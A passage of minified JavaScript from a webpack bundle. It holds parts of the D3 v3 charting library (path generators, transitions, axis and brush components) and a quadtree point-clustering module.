Ae=[],ze,Ye,je,qe,Mt=Il(se),it=-1,kt=se.length-1;++it<kt;)ze=fs(se[it],se[it+1]),v(ze)<ae?Mt[it]=Mt[it+1]=0:(Ye=Mt[it]/ze,je=Mt[it+1]/ze,qe=Ye*Ye+je*je,qe>9&&(qe=ze*3/Math.sqrt(qe),Mt[it]=qe*Ye,Mt[it+1]=qe*je));for(it=-1;++it<=kt;)qe=(se[Math.min(kt,it+1)][0]-se[Math.max(0,it-1)][0])/(6*(1+Mt[it]*Mt[it])),Ae.push([qe||0,Mt[it]*qe||0]);return Ae}function cu(se){return se.length<3?lo(se):se[0]+us(se,zu(se))}o.svg.line.radial=function(){var se=As(hu);return se.radius=se.x,delete se.x,se.angle=se.y,delete se.y,se};function hu(se){for(var Ae,ze=-1,Ye=se.length,je,qe;++ze<Ye;)Ae=se[ze],je=Ae[0],qe=Ae[1]-et,Ae[0]=je*Math.cos(qe),Ae[1]=je*Math.sin(qe);return se}function Ss(se){var Ae=qn,ze=qn,Ye=0,je=Wn,qe=Ts,Mt=lo,it=Mt.key,kt=Mt,jt="L",Kt=.7;function wr(xr){var Gr=[],jr=[],Mr=[],_r=-1,Hr=xr.length,Kr,rn=Ur(Ae),Vr=Ur(Ye),Dn=Ae===ze?function(){return Vn}:Ur(ze),Fn=Ye===je?function(){return Kn}:Ur(je),Vn,Kn;function ca(){Gr.push("M",Mt(se(Mr),Kt),jt,kt(se(jr.reverse()),Kt),"Z")}for(;++_r<Hr;)qe.call(this,Kr=xr[_r],_r)?(jr.push([Vn=+rn.call(this,Kr,_r),Kn=+Vr.call(this,Kr,_r)]),Mr.push([+Dn.call(this,Kr,_r),+Fn.call(this,Kr,_r)])):jr.length&&(ca(),jr=[],Mr=[]);return jr.length&&ca(),Gr.length?Gr.join(""):null}return wr.x=function(xr){return arguments.length?(Ae=ze=xr,wr):ze},wr.x0=function(xr){return arguments.length?(Ae=xr,wr):Ae},wr.x1=function(xr){return arguments.length?(ze=xr,wr):ze},wr.y=function(xr){return arguments.length?(Ye=je=xr,wr):je},wr.y0=function(xr){return arguments.length?(Ye=xr,wr):Ye},wr.y1=function(xr){return arguments.length?(je=xr,wr):je},wr.defined=function(xr){return arguments.length?(qe=xr,wr):qe},wr.interpolate=function(xr){return arguments.length?(typeof xr=="function"?it=Mt=xr:it=(Mt=no.get(xr)||lo).key,kt=Mt.reverse||Mt,jt=Mt.closed?"M":"L",wr):it},wr.tension=function(xr){return arguments.length?(Kt=xr,wr):Kt},wr}Hs.reverse=Rl,Rl.reverse=Hs,o.svg.area=function(){return Ss(F)},o.svg.area.radial=function(){var se=Ss(hu);return se.radius=se.x,delete se.x,se.innerRadius=se.x0,delete se.x0,se.outerRadius=se.x1,delete se.x1,se.angle=se.y,delete se.y,se.startAngle=se.y0,delete se.y0,se.endAngle=se.y1,delete se.y1,se};function kl(se){return se.source}function ul(se){return se.target}o.svg.chord=function(){var se=kl,Ae=ul,ze=Fu,Ye=Us,je=lu;function qe(Kt,wr){var xr=Mt(this,se,Kt,wr),Gr=Mt(this,Ae,Kt,wr);return"M"+xr.p0+kt(xr.r,xr.p1,xr.a1-xr.a0)+(it(xr,Gr)?jt(xr.r,xr.p1,xr.r,xr.p0):jt(xr.r,xr.p1,Gr.r,Gr.p0)+kt(Gr.r,Gr.p1,Gr.a1-Gr.a0)+jt(Gr.r,Gr.p1,xr.r,xr.p0))+"Z"}function Mt(Kt,wr,xr,Gr){var jr=wr.call(Kt,xr,Gr),Mr=ze.call(Kt,jr,Gr),_r=Ye.call(Kt,jr,Gr)-et,Hr=je.call(Kt,jr,Gr)-et;return{r:Mr,a0:_r,a1:Hr,p0:[Mr*Math.cos(_r),Mr*Math.sin(_r)],p1:[Mr*Math.cos(Hr),Mr*Math.sin(Hr)]}}function it(Kt,wr){return Kt.a0==wr.a0&&Kt.a1==wr.a1}function kt(Kt,wr,xr){return"A"+Kt+","+Kt+" 0 "+ +(xr>Me)+",1 "+wr}function jt(Kt,wr,xr,Gr){return"Q 0,0 "+Gr}return qe.radius=function(Kt){return arguments.length?(ze=Ur(Kt),qe):ze},qe.source=function(Kt){return arguments.length?(se=Ur(Kt),qe):se},qe.target=function(Kt){return arguments.length?(Ae=Ur(Kt),qe):Ae},qe.startAngle=function(Kt){return arguments.length?(Ye=Ur(Kt),qe):Ye},qe.endAngle=function(Kt){return arguments.length?(je=Ur(Kt),qe):je},qe};function Fu(se){return se.radius}o.svg.diagonal=function(){var se=kl,Ae=ul,ze=fl;function Ye(je,qe){var Mt=se.call(this,je,qe),it=Ae.call(this,je,qe),kt=(Mt.y+it.y)/2,jt=[Mt,{x:Mt.x,y:kt},{x:it.x,y:kt},it];return jt=jt.map(ze),"M"+jt[0]+"C"+jt[1]+" "+jt[2]+" "+jt[3]}return Ye.source=function(je){return arguments.length?(se=Ur(je),Ye):se},Ye.target=function(je){return arguments.length?(Ae=Ur(je),Ye):Ae},Ye.projection=function(je){return arguments.length?(ze=je,Ye):ze},Ye};function fl(se){return[se.x,se.y]}o.svg.diagonal.radial=function(){var se=o.svg.diagonal(),Ae=fl,ze=se.projection;return se.projection=function(Ye){return arguments.length?ze(Ou(Ae=Ye)):Ae},se};function Ou(se){return function(){var Ae=se.apply(this,arguments),ze=Ae[0],Ye=Ae[1]-et;return[ze*Math.cos(Ye),ze*Math.sin(Ye)]}}o.svg.symbol=function(){var se=Je,Ae=Ve;function ze(Ye,je){return(ft.get(se.call(this,Ye,je))||ot)(Ae.call(this,Ye,je))}return ze.type=function(Ye){return arguments.length?(se=Ur(Ye),ze):se},ze.size=function(Ye){return arguments.length?(Ae=Ur(Ye),ze):Ae},ze};function Ve(){return 64}function Je(){return"circle"}function ot(se){var Ae=Math.sqrt(se/Me);return"M0,"+Ae+"A"+Ae+","+Ae+" 0 1,1 0,"+-Ae+"A"+Ae+","+Ae+" 0 1,1 0,"+Ae+"Z"}var ft=o.map({circle:ot,cross:function(se){var Ae=Math.sqrt(se/5)/2;return"M"+-3*Ae+","+-Ae+"H"+-Ae+"V"+-3*Ae+"H"+Ae+"V"+-Ae+"H"+3*Ae+"V"+Ae+"H"+Ae+"V"+3*Ae+"H"+-Ae+"V"+Ae+"H"+-3*Ae+"Z"},diamond:function(se){var Ae=Math.sqrt(se/(2*At)),ze=Ae*At;return"M0,"+-Ae+"L"+ze+",0 0,"+Ae+" "+-ze+",0Z"},square:function(se){var Ae=Math.sqrt(se)/2;return"M"+-Ae+","+-Ae+"L"+Ae+","+-Ae+" "+Ae+","+Ae+" "+-Ae+","+Ae+"Z"},"triangle-down":function(se){var Ae=Math.sqrt(se/Ct),ze=Ae*Ct/2;return"M0,"+ze+"L"+Ae+","+-ze+" "+-Ae+","+-ze+"Z"},"triangle-up":function(se){var Ae=Math.sqrt(se/Ct),ze=Ae*Ct/2;return"M0,"+-ze+"L"+Ae+","+ze+" "+-Ae+","+ze+"Z"}});o.svg.symbolTypes=ft.keys();var Ct=Math.sqrt(3),At=Math.tan(30*pt);K.transition=function(se){for(var Ae=Tr||++gr,ze=dn(se),Ye=[],je,qe,Mt=Br||{time:Date.now(),ease:Qu,delay:0,duration:250},it=-1,kt=this.length;++it<kt;){Ye.push(je=[]);for(var jt=this[it],Kt=-1,wr=jt.length;++Kt<wr;)(qe=jt[Kt])&&An(qe,Kt,ze,Ae,Mt),je.push(qe)}return cr(Ye,ze,Ae)},K.interrupt=function(se){return this.each(se==null?Rt:ir(dn(se)))};var Rt=ir(dn());function ir(se){return function(){var Ae,ze,Ye;(Ae=this[se])&&(Ye=Ae[ze=Ae.active])&&(Ye.timer.c=null,Ye.timer.t=NaN,--Ae.count?delete Ae[ze]:delete this[se],Ae.active+=.5,Ye.event&&Ye.event.interrupt.call(this,this.__data__,Ye.index))}}function cr(se,Ae,ze){return V(se,Qt),se.namespace=Ae,se.id=ze,se}var Qt=[],gr=0,Tr,Br;Qt.call=K.call,Qt.empty=K.empty,Qt.node=K.node,Qt.size=K.size,o.transition=function(se,Ae){return se&&se.transition?Tr?se.transition(Ae):se:o.selection().transition(se)},o.transition.prototype=Qt,Qt.select=function(se){var Ae=this.id,ze=this.namespace,Ye=[],je,qe,Mt;se=oe(se);for(var it=-1,kt=this.length;++it<kt;){Ye.push(je=[]);for(var jt=this[it],Kt=-1,wr=jt.length;++Kt<wr;)(Mt=jt[Kt])&&(qe=se.call(Mt,Mt.__data__,Kt,it))?("__data__"in Mt&&(qe.__data__=Mt.__data__),An(qe,Kt,ze,Ae,Mt[ze][Ae]),je.push(qe)):je.push(null)}return cr(Ye,ze,Ae)},Qt.selectAll=function(se){var Ae=this.id,ze=this.namespace,Ye=[],je,qe,Mt,it,kt;se=re(se);for(var jt=-1,Kt=this.length;++jt<Kt;)for(var wr=this[jt],xr=-1,Gr=wr.length;++xr<Gr;)if(Mt=wr[xr]){kt=Mt[ze][Ae],qe=se.call(Mt,Mt.__data__,xr,jt),Ye.push(je=[]);for(var jr=-1,Mr=qe.length;++jr<Mr;)(it=qe[jr])&&An(it,jr,ze,Ae,kt),je.push(it)}return cr(Ye,ze,Ae)},Qt.filter=function(se){var Ae=[],ze,Ye,je;typeof se!="function"&&(se=$e(se));for(var qe=0,Mt=this.length;qe<Mt;qe++){Ae.push(ze=[]);for(var Ye=this[qe],it=0,kt=Ye.length;it<kt;it++)(je=Ye[it])&&se.call(je,je.__data__,it,qe)&&ze.push(je)}return cr(Ae,this.namespace,this.id)},Qt.tween=function(se,Ae){var ze=this.id,Ye=this.namespace;return arguments.length<2?this.node()[Ye][ze].tween.get(se):Ze(this,Ae==null?function(je){je[Ye][ze].tween.remove(se)}:function(je){je[Ye][ze].tween.set(se,Ae)})};function Wr(se,Ae,ze,Ye){var je=se.id,qe=se.namespace;return Ze(se,typeof ze=="function"?function(Mt,it,kt){Mt[qe][je].tween.set(Ae,Ye(ze.call(Mt,Mt.__data__,it,kt)))}:(ze=Ye(ze),function(Mt){Mt[qe][je].tween.set(Ae,ze)}))}Qt.attr=function(se,Ae){if(arguments.length<2){for(Ae in se)this.attr(Ae,se[Ae]);return this}var ze=se=="transform"?ys:Go,Ye=o.ns.qualify(se);function je(){this.removeAttribute(Ye)}function qe(){this.removeAttributeNS(Ye.space,Ye.local)}function Mt(kt){return kt==null?je:(kt+="",function(){var jt=this.getAttribute(Ye),Kt;return jt!==kt&&(Kt=ze(jt,kt),function(wr){this.setAttribute(Ye,Kt(wr))})})}function it(kt){return kt==null?qe:(kt+="",function(){var jt=this.getAttributeNS(Ye.space,Ye.local),Kt;return jt!==kt&&(Kt=ze(jt,kt),function(wr){this.setAttributeNS(Ye.space,Ye.local,Kt(wr))})})}return Wr(this,"attr."+se,Ae,Ye.local?it:Mt)},Qt.attrTween=function(se,Ae){var ze=o.ns.qualify(se);function Ye(qe,Mt){var it=Ae.call(this,qe,Mt,this.getAttribute(ze));return it&&function(kt){this.setAttribute(ze,it(kt))}}function je(qe,Mt){var it=Ae.call(this,qe,Mt,this.getAttributeNS(ze.space,ze.local));return it&&function(kt){this.setAttributeNS(ze.space,ze.local,it(kt))}}return this.tween("attr."+se,ze.local?je:Ye)},Qt.style=function(se,Ae,ze){var Ye=arguments.length;if(Ye<3){if(typeof se!="string"){Ye<2&&(Ae="");for(ze in se)this.style(ze,se[ze],Ae);return this}ze=""}function je(){this.style.removeProperty(se)}function qe(Mt){return Mt==null?je:(Mt+="",function(){var it=t(this).getComputedStyle(this,null).getPropertyValue(se),kt;return it!==Mt&&(kt=Go(it,Mt),function(jt){this.style.setProperty(se,kt(jt),ze)})})}return Wr(this,"style."+se,Ae,qe)},Qt.styleTween=function(se,Ae,ze){arguments.length<3&&(ze="");function Ye(je,qe){var Mt=Ae.call(this,je,qe,t(this).getComputedStyle(this,null).getPropertyValue(se));return Mt&&function(it){this.style.setProperty(se,Mt(it),ze)}}return this.tween("style."+se,Ye)},Qt.text=function(se){return Wr(this,"text",se,cn)};function cn(se){return se==null&&(se=""),function(){this.textContent=se}}Qt.remove=function(){var se=this.namespace;return this.each("end.transition",function(){var Ae;this[se].count<2&&(Ae=this.parentNode)&&Ae.removeChild(this)})},Qt.ease=function(se){var Ae=this.id,ze=this.namespace;return arguments.length<1?this.node()[ze][Ae].ease:(typeof se!="function"&&(se=o.ease.apply(o,arguments)),Ze(this,function(Ye){Ye[ze][Ae].ease=se}))},Qt.delay=function(se){var Ae=this.id,ze=this.namespace;return arguments.length<1?this.node()[ze][Ae].delay:Ze(this,typeof se=="function"?function(Ye,je,qe){Ye[ze][Ae].delay=+se.call(Ye,Ye.__data__,je,qe)}:(se=+se,function(Ye){Ye[ze][Ae].delay=se}))},Qt.duration=function(se){var Ae=this.id,ze=this.namespace;return arguments.length<1?this.node()[ze][Ae].duration:Ze(this,typeof se=="function"?function(Ye,je,qe){Ye[ze][Ae].duration=Math.max(1,se.call(Ye,Ye.__data__,je,qe))}:(se=Math.max(1,se),function(Ye){Ye[ze][Ae].duration=se}))},Qt.each=function(se,Ae){var ze=this.id,Ye=this.namespace;if(arguments.length<2){var je=Br,qe=Tr;try{Tr=ze,Ze(this,function(Mt,it,kt){Br=Mt[Ye][ze],se.call(Mt,Mt.__data__,it,kt)})}finally{Br=je,Tr=qe}}else Ze(this,function(Mt){var it=Mt[Ye][ze];(it.event||(it.event=o.dispatch("start","end","interrupt"))).on(se,Ae)});return this},Qt.transition=function(){for(var se=this.id,Ae=++gr,ze=this.namespace,Ye=[],je,qe,Mt,it,kt=0,jt=this.length;kt<jt;kt++){Ye.push(je=[]);for(var qe=this[kt],Kt=0,wr=qe.length;Kt<wr;Kt++)(Mt=qe[Kt])&&(it=Mt[ze][se],An(Mt,Kt,ze,Ae,{time:it.time,ease:it.ease,delay:it.delay+it.duration,duration:it.duration})),je.push(Mt)}return cr(Ye,ze,Ae)};function dn(se){return se==null?"__transition__":"__transition_"+se+"__"}function An(se,Ae,ze,Ye,je){var qe=se[ze]||(se[ze]={active:0,count:0}),Mt=qe[Ye],it,kt,jt,Kt,wr;function xr(Mr){var _r=Mt.delay;if(kt.t=_r+it,_r<=Mr)return Gr(Mr-_r);kt.c=Gr}function Gr(Mr){var _r=qe.active,Hr=qe[_r];Hr&&(Hr.timer.c=null,Hr.timer.t=NaN,--qe.count,delete qe[_r],Hr.event&&Hr.event.interrupt.call(se,se.__data__,Hr.index));for(var Kr in qe)if(+Kr<Ye){var rn=qe[Kr];rn.timer.c=null,rn.timer.t=NaN,--qe.count,delete qe[Kr]}kt.c=jr,gn(function(){return kt.c&&jr(Mr||1)&&(kt.c=null,kt.t=NaN),1},0,it),qe.active=Ye,Mt.event&&Mt.event.start.call(se,se.__data__,Ae),wr=[],Mt.tween.forEach(function(Vr,Dn){(Dn=Dn.call(se,se.__data__,Ae))&&wr.push(Dn)}),Kt=Mt.ease,jt=Mt.duration}function jr(Mr){for(var _r=Mr/jt,Hr=Kt(_r),Kr=wr.length;Kr>0;)wr[--Kr].call(se,Hr);if(_r>=1)return Mt.event&&Mt.event.end.call(se,se.__data__,Ae),--qe.count?delete qe[Ye]:delete se[ze],1}Mt||(it=je.time,kt=gn(xr,0,it),Mt=qe[Ye]={tween:new E,time:it,timer:kt,delay:je.delay,duration:je.duration,ease:je.ease,index:Ae},je=null,++qe.count)}o.svg.axis=function(){var se=o.scale.linear(),Ae=ia,ze=6,Ye=6,je=3,qe=[10],Mt=null,it;function kt(jt){jt.each(function(){var Kt=o.select(this),wr=this.__chart__||se,xr=this.__chart__=se.copy(),Gr=Mt??(xr.ticks?xr.ticks.apply(xr,qe):xr.domain()),jr=it??(xr.tickFormat?xr.tickFormat.apply(xr,qe):F),Mr=Kt.selectAll(".tick").data(Gr,xr),_r=Mr.enter().insert("g",".domain").attr("class","tick").style("opacity",ae),Hr=o.transition(Mr.exit()).style("opacity",ae).remove(),Kr=o.transition(Mr.order()).style("opacity",1),rn=Math.max(ze,0)+je,Vr,Dn=al(xr),Fn=Kt.selectAll(".domain").data([0]),Vn=(Fn.enter().append("path").attr("class","domain"),o.transition(Fn));_r.append("line"),_r.append("text");var Kn=_r.select("line"),ca=Kr.select("line"),fa=Mr.select("text").text(jr),Ra=_r.select("text"),ya=Kr.select("text"),Ca=Ae==="top"||Ae==="left"?-1:1,Ua,Wa,$a,In;if(Ae==="bottom"||Ae==="top"?(Vr=wa,Ua="x",$a="y",Wa="x2",In="y2",fa.attr("dy",Ca<0?"0em":".71em").style("text-anchor","middle"),Vn.attr("d","M"+Dn[0]+","+Ca*Ye+"V0H"+Dn[1]+"V"+Ca*Ye)):(Vr=Ta,Ua="y",$a="x",Wa="y2",In="x2",fa.attr("dy",".32em").style("text-anchor",Ca<0?"end":"start"),Vn.attr("d","M"+Ca*Ye+","+Dn[0]+"H0V"+Dn[1]+"H"+Ca*Ye)),Kn.attr(In,Ca*ze),Ra.attr($a,Ca*rn),ca.attr(Wa,0).attr(In,Ca*ze),ya.attr(Ua,0).attr($a,Ca*rn),xr.rangeBand){var La=xr,Sa=La.rangeBand()/2;wr=xr=function(za){return La(za)+Sa}}else wr.rangeBand?wr=xr:Hr.call(Vr,xr,wr);_r.call(Vr,wr,xr),Kr.call(Vr,xr,xr)})}return kt.scale=function(jt){return arguments.length?(se=jt,kt):se},kt.orient=function(jt){return arguments.length?(Ae=jt in ma?jt+"":ia,kt):Ae},kt.ticks=function(){return arguments.length?(qe=S(arguments),kt):qe},kt.tickValues=function(jt){return arguments.length?(Mt=jt,kt):Mt},kt.tickFormat=function(jt){return arguments.length?(it=jt,kt):it},kt.tickSize=function(jt){var Kt=arguments.length;return Kt?(ze=+jt,Ye=+arguments[Kt-1],kt):ze},kt.innerTickSize=function(jt){return arguments.length?(ze=+jt,kt):ze},kt.outerTickSize=function(jt){return arguments.length?(Ye=+jt,kt):Ye},kt.tickPadding=function(jt){return arguments.length?(je=+jt,kt):je},kt.tickSubdivide=function(){return arguments.length&&kt},kt};var ia="bottom",ma={top:1,right:1,bottom:1,left:1};function wa(se,Ae,ze){se.attr("transform",function(Ye){var je=Ae(Ye);return"translate("+(isFinite(je)?je:ze(Ye))+",0)"})}function Ta(se,Ae,ze){se.attr("transform",function(Ye){var je=Ae(Ye);return"translate(0,"+(isFinite(je)?je:ze(Ye))+")"})}o.svg.brush=function(){var se=X(Kt,"brushstart","brush","brushend"),Ae=null,ze=null,Ye=[0,0],je=[0,0],qe,Mt,it=!0,kt=!0,jt=ja[0];function Kt(Mr){Mr.each(function(){var _r=o.select(this).style("pointer-events","all").style("-webkit-tap-highlight-color","rgba(0,0,0,0)").on("mousedown.brush",jr).on("touchstart.brush",jr),Hr=_r.selectAll(".background").data([0]);Hr.enter().append("rect").attr("class","background").style("visibility","hidden").style("cursor","crosshair"),_r.selectAll(".extent").data([0]).enter().append("rect").attr("class","extent").style("cursor","move");var Kr=_r.selectAll(".resize").data(jt,F);Kr.exit().remove(),Kr.enter().append("g").attr("class",function(Fn){return"resize "+Fn}).style("cursor",function(Fn){return Ma[Fn]}).append("rect").attr("x",function(Fn){return/[ew]$/.test(Fn)?-3:null}).attr("y",function(Fn){return/^[ns]/.test(Fn)?-3:null}).attr("width",6).attr("height",6).style("visibility","hidden"),Kr.style("display",Kt.empty()?"none":null);var rn=o.transition(_r),Vr=o.transition(Hr),Dn;Ae&&(Dn=al(Ae),Vr.attr("x",Dn[0]).attr("width",Dn[1]-Dn[0]),xr(rn)),ze&&(Dn=al(ze),Vr.attr("y",Dn[0]).attr("height",Dn[1]-Dn[0]),Gr(rn)),wr(rn)})}Kt.event=function(Mr){Mr.each(function(){var _r=se.of(this,arguments),Hr={x:Ye,y:je,i:qe,j:Mt},Kr=this.__chart__||Hr;this.__chart__=Hr,Tr?o.select(this).transition().each("start.brush",function(){qe=Kr.i,Mt=Kr.j,Ye=Kr.x,je=Kr.y,_r({type:"brushstart"})}).tween("brush:brush",function(){var rn=zi(Ye,Hr.x),Vr=zi(je,Hr.y);return qe=Mt=null,function(Dn){Ye=Hr.x=rn(Dn),je=Hr.y=Vr(Dn),_r({type:"brush",mode:"resize"})}}).each("end.brush",function(){qe=Hr.i,Mt=Hr.j,_r({type:"brush",mode:"resize"}),_r({type:"brushend"})}):(_r({type:"brushstart"}),_r({type:"brush",mode:"resize"}),_r({type:"brushend"}))})};function wr(Mr){Mr.selectAll(".resize").attr("transform",function(_r){return"translate("+Ye[+/e$/.test(_r)]+","+je[+/^s/.test(_r)]+")"})}function xr(Mr){Mr.select(".extent").attr("x",Ye[0]),Mr.selectAll(".extent,.n>rect,.s>rect").attr("width",Ye[1]-Ye[0])}function Gr(Mr){Mr.select(".extent").attr("y",je[0]),Mr.selectAll(".extent,.e>rect,.w>rect").attr("height",je[1]-je[0])}function jr(){var Mr=this,_r=o.select(o.event.target),Hr=se.of(Mr,arguments),Kr=o.select(Mr),rn=_r.datum(),Vr=!/^(n|s)$/.test(rn)&&Ae,Dn=!/^(e|w)$/.test(rn)&&ze,Fn=_r.classed("extent"),Vn=Pe(Mr),Kn,ca=o.mouse(Mr),fa,Ra=o.select(t(Mr)).on("keydown.brush",Ua).on("keyup.brush",Wa);if(o.event.changedTouches?Ra.on("touchmove.brush",$a).on("touchend.brush",La):Ra.on("mousemove.brush",$a).on("mouseup.brush",La),Kr.interrupt().selectAll("*").interrupt(),Fn)ca[0]=Ye[0]-ca[0],ca[1]=je[0]-ca[1];else if(rn){var ya=+/w$/.test(rn),Ca=+/^n/.test(rn);fa=[Ye[1-ya]-ca[0],je[1-Ca]-ca[1]],ca[0]=Ye[ya],ca[1]=je[Ca]}else o.event.altKey&&(Kn=ca.slice());Kr.style("pointer-events","none").selectAll(".resize").style("display",null),o.select("body").style("cursor",_r.style("cursor")),Hr({type:"brushstart"}),$a();function Ua(){o.event.keyCode==32&&(Fn||(Kn=null,ca[0]-=Ye[1],ca[1]-=je[1],Fn=2),ne())}function Wa(){o.event.keyCode==32&&Fn==2&&(ca[0]+=Ye[1],ca[1]+=je[1],Fn=0,ne())}function $a(){var Sa=o.mouse(Mr),za=!1;fa&&(Sa[0]+=fa[0],Sa[1]+=fa[1]),Fn||(o.event.altKey?(Kn||(Kn=[(Ye[0]+Ye[1])/2,(je[0]+je[1])/2]),ca[0]=Ye[+(Sa[0]<Kn[0])],ca[1]=je[+(Sa[1]<Kn[1])]):Kn=null),Vr&&In(Sa,Ae,0)&&(xr(Kr),za=!0),Dn&&In(Sa,ze,1)&&(Gr(Kr),za=!0),za&&(wr(Kr),Hr({type:"brush",mode:Fn?"move":"resize"}))}function In(Sa,za,ci){var bi=al(za),Si=bi[0],si=bi[1],ei=ca[ci],la=ci?je:Ye,pa=la[1]-la[0],li,Ai;if(Fn&&(Si-=ei,si-=pa+ei),li=(ci?kt:it)?Math.max(Si,Math.min(si,Sa[ci])):Sa[ci],Fn?Ai=(li+=ei)+pa:(Kn&&(ei=Math.max(Si,Math.min(si,2*Kn[ci]-li))),ei<li?(Ai=li,li=ei):Ai=ei),la[0]!=li||la[1]!=Ai)return ci?Mt=null:qe=null,la[0]=li,la[1]=Ai,!0}function La(){$a(),Kr.style("pointer-events","all").selectAll(".resize").style("display",Kt.empty()?"none":null),o.select("body").style("cursor",null),Ra.on("mousemove.brush",null).on("mouseup.brush",null).on("touchmove.brush",null).on("touchend.brush",null).on("keydown.brush",null).on("keyup.brush",null),Vn(),Hr({type:"brushend"})}}return Kt.x=function(Mr){return arguments.length?(Ae=Mr,jt=ja[!Ae<<1|!ze],Kt):Ae},Kt.y=function(Mr){return arguments.length?(ze=Mr,jt=ja[!Ae<<1|!ze],Kt):ze},Kt.clamp=function(Mr){return arguments.length?(Ae&&ze?(it=!!Mr[0],kt=!!Mr[1]):Ae?it=!!Mr:ze&&(kt=!!Mr),Kt):Ae&&ze?[it,kt]:Ae?it:ze?kt:null},Kt.extent=function(Mr){var _r,Hr,Kr,rn,Vr;return arguments.length?(Ae&&(_r=Mr[0],Hr=Mr[1],ze&&(_r=_r[0],Hr=Hr[0]),qe=[_r,Hr],Ae.invert&&(_r=Ae(_r),Hr=Ae(Hr)),Hr<_r&&(Vr=_r,_r=Hr,Hr=Vr),(_r!=Ye[0]||Hr!=Ye[1])&&(Ye=[_r,Hr])),ze&&(Kr=Mr[0],rn=Mr[1],Ae&&(Kr=Kr[1],rn=rn[1]),Mt=[Kr,rn],ze.invert&&(Kr=ze(Kr),rn=ze(rn)),rn<Kr&&(Vr=Kr,Kr=rn,rn=Vr),(Kr!=je[0]||rn!=je[1])&&(je=[Kr,rn])),Kt):(Ae&&(qe?(_r=qe[0],Hr=qe[1]):(_r=Ye[0],Hr=Ye[1],Ae.invert&&(_r=Ae.invert(_r),Hr=Ae.invert(Hr)),Hr<_r&&(Vr=_r,_r=Hr,Hr=Vr))),ze&&(Mt?(Kr=Mt[0],rn=Mt[1]):(Kr=je[0],rn=je[1],ze.invert&&(Kr=ze.invert(Kr),rn=ze.invert(rn)),rn<Kr&&(Vr=Kr,Kr=rn,rn=Vr))),Ae&&ze?[[_r,Kr],[Hr,rn]]:Ae?[_r,Hr]:ze&&[Kr,rn])},Kt.clear=function(){return Kt.empty()||(Ye=[0,0],je=[0,0],qe=Mt=null),Kt},Kt.empty=function(){return!!Ae&&Ye[0]==Ye[1]||!!ze&&je[0]==je[1]},o.rebind(Kt,se,"on")};var Ma={n:"ns-resize",e:"ew-resize",s:"ns-resize",w:"ew-resize",nw:"nwse-resize",ne:"nesw-resize",se:"nwse-resize",sw:"nesw-resize"},ja=[["n","e","s","w","nw","ne","se","sw"],["e","w"],["n","s"],[]];o.text=Mn(function(se){return se.responseText}),o.json=function(se,Ae){return Sn(se,"application/json",yi,Ae)};function yi(se){return JSON.parse(se.responseText)}o.html=function(se,Ae){return Sn(se,"text/html",ni,Ae)};function ni(se){var Ae=d.createRange();return Ae.selectNode(d.body),Ae.createContextualFragment(se.responseText)}o.xml=Mn(function(se){return se.responseXML}),M=o,P=typeof M=="function"?M.call(Z,e,Z,te):M,P!==void 0&&(te.exports=P)}).apply(self)},88294:function(te,Z,e){te.exports=e(62849)},62849:function(te,Z,e){var M=e(91358),P=e(53435),o=e(18863),L=e(21527),S=e(71299),d=e(46775),g=e(30120),t=e(64941),r=e(90660),f=e(27084),a=1073741824;te.exports=function(s,y){y||(y={}),s=g(s,"float64"),y=S(y,{bounds:"range bounds dataBox databox",maxDepth:"depth maxDepth maxdepth level maxLevel maxlevel levels",dtype:"type dtype format out dst output destination"});var c=d(y.maxDepth,255),b=d(y.bounds,L(s,2));b[0]===b[2]&&b[2]++,b[1]===b[3]&&b[3]++;var h=l(s,b),i=s.length>>>1,v;y.dtype||(y.dtype="array"),typeof y.dtype=="string"?v=new(r(y.dtype))(i):y.dtype&&(v=y.dtype,Array.isArray(v)&&(v.length=i));for(var T=0;T<i;++T)v[T]=T;var w=[],E=[],p=[],A=[];B(0,0,1,v,0,1);for(var m=0,n=0;n<w.length;n++){var C=w[n];if(v.set)v.set(C,m);else for(var x=0,I=C.length;x<I;x++)v[x+m]=C[x];var k=m+w[n].length;A[n]=[m,k],m=k}return v.range=_,v;function B(z,N,G,J,q,ne){if(!J.length)return null;var fe=w[q]||(w[q]=[]),X=p[q]||(p[q]=[]),W=E[q]||(E[q]=[]),V=fe.length;if(q++,q>c||ne>a){for(var Y=0;Y<J.length;Y++)fe.push(J[Y]),X.push(ne),W.push(null,null,null,null);return V}if(fe.push(J[0]),X.push(ne),J.length<=1)return W.push(null,null,null,null),V;for(var Q=G*.5,ie=z+Q,j=N+Q,K=[],oe=[],re=[],le=[],pe=1,we=J.length;pe<we;pe++){var xe=J[pe],ke=h[xe*2],_e=h[xe*2+1];ke<ie?_e<j?K.push(xe):oe.push(xe):_e<j?re.push(xe):le.push(xe)}return ne<<=2,W.push(B(z,N,Q,K,q,ne),B(z,j,Q,oe,q,ne+1),B(ie,N,Q,re,q,ne+2),B(ie,j,Q,le,q,ne+3)),V}function _(){for(var z=[],N=arguments.length;N--;)z[N]=arguments[N];var G;if(t(z[z.length-1])){var J=z.pop();!z.length&&(J.x!=null||J.l!=null||J.left!=null)&&(z=[J],G={}),G=S(J,{level:"level maxLevel",d:"d diam diameter r radius px pxSize pixel pixelSize maxD size minSize",lod:"lod details ranges offsets"})}else G={};z.length||(z=b);var q=o.apply(void 0,z),ne=[Math.min(q.x,q.x+q.width),Math.min(q.y,q.y+q.height),Math.max(q.x,q.x+q.width),Math.max(q.y,q.y+q.height)],fe=ne[0],X=ne[1],W=ne[2],V=ne[3],Y=l([fe,X,W,V],b),Q=Y[0],ie=Y[1],j=Y[2],K=Y[3],oe=d(G.level,w.length);if(G.d!=null){var re;typeof G.d=="number"?re=[G.d,G.d]:G.d.length&&(re=G.d),oe=Math.min(Math.max(Math.ceil(-f(Math.abs(re[0])/(b[2]-b[0]))),Math.ceil(-f(Math.abs(re[1])/(b[3]-b[1])))),oe)}if(oe=Math.min(oe,w.length),G.lod)return F(Q,ie,j,K,oe);var le=[];pe(0,0,1,0,0,1);function pe(xe,ke,_e,be,ge,Te){if(!(ge===null||Te===null)){var Fe=xe+_e,Oe=ke+_e;if(!(Q>Fe||ie>Oe||j<xe||K<ke)&&!(be>=oe)&&ge!==Te){var Ce=w[be];Te===void 0&&(Te=Ce.length);for(var Be=ge;Be<Te;Be++){var $e=Ce[Be],Xe=s[$e*2],Ze=s[$e*2+1];Xe>=fe&&Xe<=W&&Ze>=X&&Ze<=V&&le.push($e)}var 